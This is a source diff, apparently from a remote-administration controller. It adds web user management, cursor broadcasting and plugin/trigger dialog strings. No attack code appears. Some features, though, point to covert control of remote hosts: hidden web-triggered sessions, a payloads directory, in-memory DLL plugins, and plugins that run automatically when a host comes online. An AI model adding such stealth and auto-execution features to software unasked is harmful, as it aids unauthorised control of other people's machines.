std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
// Only disconnect if no specific device requested, or if it matches current device
// This prevents race condition when quickly switching devices
if (requested_device_id == 0 || it->second.watch_device_id == requested_device_id) {
device_id = it->second.watch_device_id;
it->second.watch_device_id = 0;
}
}
}
// Close remote desktop if this was the last viewer
if (device_id > 0) {
@@ -685,6 +770,15 @@ void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0));
msg64.wParam = MAKEWPARAM(0, wheelDelta);
} else if (type == "dblclick") {
// dblclick is only needed for macOS clients
// Windows detects double-click from rapid mousedown/mouseup sequence
context* mainCtx = m_pParentDlg->FindHost(device_id);
if (!mainCtx) return;
CString clientType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
// Check for both "MAC" (new) and "macOS" (legacy) for compatibility
if (clientType != GetClientType(CLIENT_TYPE_MACOS) && clientType != "macOS") {
return; // Skip dblclick for non-macOS clients
}
if (button == 0) {
msg64.message = WM_LBUTTONDBLCLK;
msg64.wParam = MK_LBUTTON;
@@ -831,6 +925,111 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
}
}
//////////////////////////////////////////////////////////////////////////
// User Management Handlers
//////////////////////////////////////////////////////////////////////////
void CWebService::HandleCreateUser(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Invalid JSON"));
return;
}
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Invalid token"));
return;
}
// Only admin can create users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Permission denied"));
return;
}
std::string newUsername = root.get("username", "").asString();
std::string newPassword = root.get("password", "").asString();
std::string newRole = root.get("role", "viewer").asString();
if (newUsername.empty() || newPassword.empty()) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
return;
}
if (CreateUser(newUsername, newPassword, newRole)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
} else {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
}
}
void CWebService::HandleDeleteUser(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Invalid JSON"));
return;
}
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Invalid token"));
return;
}
// Only admin can delete users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Permission denied"));
return;
}
std::string targetUsername = root.get("username", "").asString();
if (DeleteUser(targetUsername)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", true));
} else {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Failed to delete user"));
}
}
void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("list_users_result", false, "Invalid token"));
return;
}
// Only admin can list users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("list_users_result", false, "Permission denied"));
return;
}
auto users = ListUsers();
Json::Value res;
res["cmd"] = "list_users_result";
res["ok"] = true;
Json::Value usersArray(Json::arrayValue);
for (const auto& u : users) {
Json::Value user;
user["username"] = u.first;
user["role"] = u.second;
usersArray.append(user);
}
res["users"] = usersArray;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
SendText(ws_ptr, json);
}
//////////////////////////////////////////////////////////////////////////
// Token Management (delegated to WebServiceAuth module)
//////////////////////////////////////////////////////////////////////////
@@ -930,6 +1129,155 @@ std::string CWebService::ComputeHash(const std::string& input) {
return WSAuth::ComputeSHA256(input);
}
//////////////////////////////////////////////////////////////////////////
// User Management
//////////////////////////////////////////////////////////////////////////
std::string CWebService::GetUsersFilePath() {
return m_ConfigDir + "users.json";
}
void CWebService::LoadUsers() {
// Note: m_UsersMutex should already be held by caller (SetAdminPassword)
// Load additional users from users.json (admin user is already in m_Users)
std::string path = GetUsersFilePath();
std::ifstream file(path);
if (!file.is_open()) {
Mprintf("[WebService] No users.json found, using admin only\n");
return;
}
try {
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
Mprintf("[WebService] Failed to parse users.json: %s\n", errors.c_str());
return;
}
const Json::Value& users = root["users"];
int loaded = 0;
for (const auto& u : users) {
std::string username = u.get("username", "").asString();
// Skip admin user (it's built-in with master password)
if (username.empty() || username == "admin") continue;
WebUser user;
user.username = username;
user.password_hash = u.get("password_hash", "").asString();
user.salt = u.get("salt", "").asString();
user.role = u.get("role", "viewer").asString();
if (!user.password_hash.empty()) {
m_Users.push_back(user);
loaded++;
}
}
Mprintf("[WebService] Loaded %d additional users from users.json\n", loaded);
} catch (const std::exception& e) {
Mprintf("[WebService] Error loading users.json: %s\n", e.what());
}
}
void CWebService::SaveUsers() {
// Save non-admin users to users.json
std::lock_guard<std::mutex> lock(m_UsersMutex);
Json::Value root;
Json::Value users(Json::arrayValue);
for (const auto& u : m_Users) {
// Skip admin user (it uses master password, not stored in file)
if (u.username == "admin") continue;
Json::Value user;
user["username"] = u.username;
user["password_hash"] = u.password_hash;
user["salt"] = u.salt;
user["role"] = u.role;
users.append(user);
}
root["users"] = users;
std::string path = GetUsersFilePath();
std::ofstream file(path);
if (!file.is_open()) {
Mprintf("[WebService] Failed to open users.json for writing\n");
return;
}
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
}
bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role) {
if (username.empty() || password.empty()) return false;
if (username == "admin") return false; // Cannot create user named "admin"
if (role != "admin" && role != "viewer") return false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
// Check if user already exists
for (const auto& u : m_Users) {
if (u.username == username) return false;
}
// Generate salt and hash password with salt
WebUser user;
user.username = username;
user.salt = GenerateSalt();
user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
user.role = role;
m_Users.push_back(user);
Mprintf("[WebService] Created user: %s (role: %s)\n", username.c_str(), role.c_str());
}
// Save to file (outside lock scope since SaveUsers acquires its own lock)
SaveUsers();
return true;
}
bool CWebService::DeleteUser(const std::string& username) {
if (username.empty() || username == "admin") return false;
bool deleted = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (auto it = m_Users.begin(); it != m_Users.end(); ++it) {
if (it->username == username) {
m_Users.erase(it);
Mprintf("[WebService] Deleted user: %s\n", username.c_str());
deleted = true;
break;
}
}
}
if (deleted) {
SaveUsers();
}
return deleted;
}
std::vector<std::pair<std::string, std::string>> CWebService::ListUsers() {
std::lock_guard<std::mutex> lock(m_UsersMutex);
std::vector<std::pair<std::string, std::string>> result;
for (const auto& u : m_Users) {
result.push_back({u.username, u.role});
}
return result;
}
//////////////////////////////////////////////////////////////////////////
// JSON Helpers
//////////////////////////////////////////////////////////////////////////
@@ -1089,11 +1437,9 @@ void CWebService::BroadcastH264Frame(uint64_t device_id, const uint8_t* data, si
// Broadcast to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
int sent_count = 0;
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendBinary(ws_ptr, data, len);
sent_count++;
}
}
// Cache keyframe (check FrameType byte at offset 4)
@@ -1136,6 +1482,27 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
}
}
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
if (m_bStopping) return;
// Build JSON message
Json::Value res;
res["cmd"] = "cursor";
res["index"] = cursor_index;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
// Send to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendText(ws_ptr, json);
}
}
}
bool CWebService::StartRemoteDesktop(uint64_t device_id) {
if (!m_pParentDlg) return false;

View File

@@ -78,6 +78,11 @@ public:
// Set admin password (use master password)
void SetAdminPassword(const std::string& password);
// User management
bool CreateUser(const std::string& username, const std::string& password, const std::string& role);
bool DeleteUser(const std::string& username);
std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...]
// Device management (called from main app)
void MarkDeviceOnline(uint64_t device_id);
void MarkDeviceOffline(uint64_t device_id);
@@ -91,6 +96,9 @@ public:
// Resolution change notification
void NotifyResolutionChange(uint64_t device_id, int width, int height);
// Cursor change notification (called from ScreenSpyDlg)
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
// Get count of web clients watching a device
int GetWebClientCount(uint64_t device_id);
@@ -111,9 +119,10 @@ private:
// Signaling handlers
void HandleLogin(void* ws_ptr, const std::string& msg, const std::string& client_ip);
void HandleGetSalt(void* ws_ptr, const std::string& msg);
void HandleGetDevices(void* ws_ptr, const std::string& token);
void HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id);
void HandleDisconnect(void* ws_ptr, const std::string& token);
void HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id = 0);
void HandlePing(void* ws_ptr, const std::string& token);
void HandleMouse(void* ws_ptr, const std::string& msg);
void HandleKey(void* ws_ptr, const std::string& msg);
@@ -141,6 +150,14 @@ private:
bool VerifyPassword(const std::string& input, const WebUser& user);
std::string ComputeHash(const std::string& input);
// User management helpers
std::string GetUsersFilePath();
void LoadUsers();
void SaveUsers();
void HandleCreateUser(void* ws_ptr, const std::string& msg);
void HandleDeleteUser(void* ws_ptr, const std::string& msg);
void HandleListUsers(void* ws_ptr, const std::string& token);
// Send to WebSocket
void SendText(void* ws_ptr, const std::string& text);
void SendBinary(void* ws_ptr, const uint8_t* data, size_t len);
@@ -181,6 +198,7 @@ private:
// User accounts (loaded from config)
std::vector<WebUser> m_Users;
std::mutex m_UsersMutex;
// Token secret key (generated on startup)
std::string m_SecretKey;
@@ -190,6 +208,7 @@ private:
int m_nTokenExpireSeconds;
bool m_bHideWebSessions; // Whether to hide web-triggered dialogs (default: true)
std::string m_PayloadsDir; // Directory for file downloads (Payloads/)
std::string m_ConfigDir; // Directory for config files (users.json, etc.)
// Web-triggered sessions (should be hidden)
std::set<uint64_t> m_WebTriggeredDevices;

View File

@@ -1773,3 +1773,49 @@ Web
请在菜单设置Web端口!=Please set Web liscening port!
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter!
如需Web远程桌面跨网使用方案请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
; Plugin Settings Dialog - English Translation
; Format: Simplified Chinese=English
内存DLL=Memory DLL
自动检测=Auto Detect
IOCP线程=IOCP Thread
自定义FRPC[不可用]=Custom FRPC [Unavailable]
标准FRPC[不可用]=Standard FRPC [Unavailable]
不自动执行=No Auto Execute
启动执行=Execute on Startup
每日定时[未实现]=Daily Schedule [Not Implemented]
每周定时[未实现]=Weekly Schedule [Not Implemented]
名称=Name
大小=Size
运行类型=Run Type
调度模式=Schedule Mode
插件参数配置=Plugin Parameters
运行类型:=Run Type:
调用方式:=Call Type:
调度模式:=Schedule Mode:
间隔(秒):=Interval (sec):
最大次数:=Max Count:
插件设置=Plugin Settings
请先选择一个插件=Please select a plugin first
提示=Notice
配置已保存=Configuration saved
保存(&S)=Save(&S)
关闭=Close
插件设置(&S)=Plugin Settings(&S)
代理端口 - 自启=Proxy Port - AutoRun
; Trigger Settings Dialog - English Translation
; Format: Simplified Chinese=English
触发器(&G)=Tri&gger
触发器设置=Trigger Settings
触发类型:=Trigger Type:
执行动作:=Action:
主机上线=Host Online
插件名称=Plugin Name
触发器=Trigger
已配置的触发器=Configured Triggers
添加 >>=Add >>
<< 移除=<< Remove
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
请先选择至少一个插件=Please select at least one plugin

View File

@@ -1765,3 +1765,48 @@ FRPS
请在菜单设置Web端口!=请在菜单设置Web端口!
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面!
如需Web远程桌面跨网使用方案请联系管理员!=如需Web远程桌面跨网使用方案请联系管理员!
; Plugin Settings Dialog - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
内存DLL=記憶體DLL
自动检测=自動檢測
IOCP线程=IOCP執行緒
自定义FRPC[不可用]=自訂FRPC[不可用]
标准FRPC[不可用]=標準FRPC[不可用]
不自动执行=不自動執行
启动执行=啟動執行
每日定时[未实现]=每日定時[未實現]
每周定时[未实现]=每週定時[未實現]
名称=名稱
大小=大小
运行类型=執行類型
调度模式=排程模式
插件参数配置=外掛參數設定
运行类型:=執行類型:
调用方式:=呼叫方式:
调度模式:=排程模式:
间隔(秒):=間隔(秒):
最大次数:=最大次數:
插件设置=外掛設定
请先选择一个插件=請先選擇一個外掛
提示=提示
配置已保存=設定已儲存
保存(&S)=儲存(&S)
关闭=關閉
插件设置(&S)=插件设置(&S)
代理端口 - 自启=代理端口 - 自启
; Trigger Settings Dialog - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
触发器(&G)=觸發器(&G)
触发器设置=觸發器設定
触发类型:=觸發類型:
执行动作:=執行動作:
主机上线=主機上線
插件名称=外掛名稱
触发器=觸發器
已配置的触发器=已設定的觸發器
添加 >>=新增 >>
<< 移除=<< 移除
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
请先选择至少一个插件=請先選擇至少一個外掛

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

View File

@@ -247,6 +247,10 @@
#define IDD_FEATURE_LIMITS 368
#define IDB_BITMAP8 369
#define IDB_BITMAP_CANCELSHARE 369
#define IDD_DIALOG_PLUGIN_SETTINGS 370
#define IDB_BITMAP_TRIGGER 372
#define IDB_BITMAP_WEBDESKTOP 373
#define IDB_BITMAP_PLUGINCONFIG 374
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002
@@ -705,6 +709,19 @@
#define IDC_STATIC_FEATURE_TIP 2522
#define IDC_STATIC_AUTH_HOSTNUM 2523
#define IDC_EDIT_AUTH_HOSTNUM 2524
#define IDC_LIST_PLUGINS 2526
#define IDC_COMBO_RUNTYPE_P 2527
#define IDC_COMBO_CALLTYPE 2528
#define IDC_COMBO_MODE 2529
#define IDC_EDIT_INTERVAL 2530
#define IDC_EDIT_MAXCOUNT 2531
#define IDC_BTN_SAVE 2532
#define IDC_STATIC_PLUGIN_SETTINGS 2533
#define IDC_STATIC_PLUGIN_RUNTYPE 2534
#define IDC_STATIC_PLUGIN_CALLTYPE 2535
#define IDC_STATIC_PLUGIN_SCHEDULE 2536
#define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538
#define ID_ONLINE_UPDATE 32772
#define ID_ONLINE_MESSAGE 32773
#define ID_ONLINE_DELETE 32775
@@ -935,15 +952,27 @@
#define ID_CANCEL_SHARE 33042
#define ID_33043 33043
#define ID_WEB_REMOTE_CONTROL 33044
#define ID_TOOL_PLUGIN_SETTINGS 33045
#define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047
#define ID_EXIT_FULLSCREEN 40001
#define ID_TRIGGER_SETTINGS 33048
#define IDD_DIALOG_TRIGGER_SETTINGS 371
#define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
#define IDC_STATIC_TRIGGER_ACTION 2545
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 370
#define _APS_NEXT_COMMAND_VALUE 33045
#define _APS_NEXT_CONTROL_VALUE 2525
#define _APS_NEXT_RESOURCE_VALUE 371
#define _APS_NEXT_COMMAND_VALUE 33048
#define _APS_NEXT_CONTROL_VALUE 2539
#define _APS_NEXT_SYMED_VALUE 105
#endif
#endif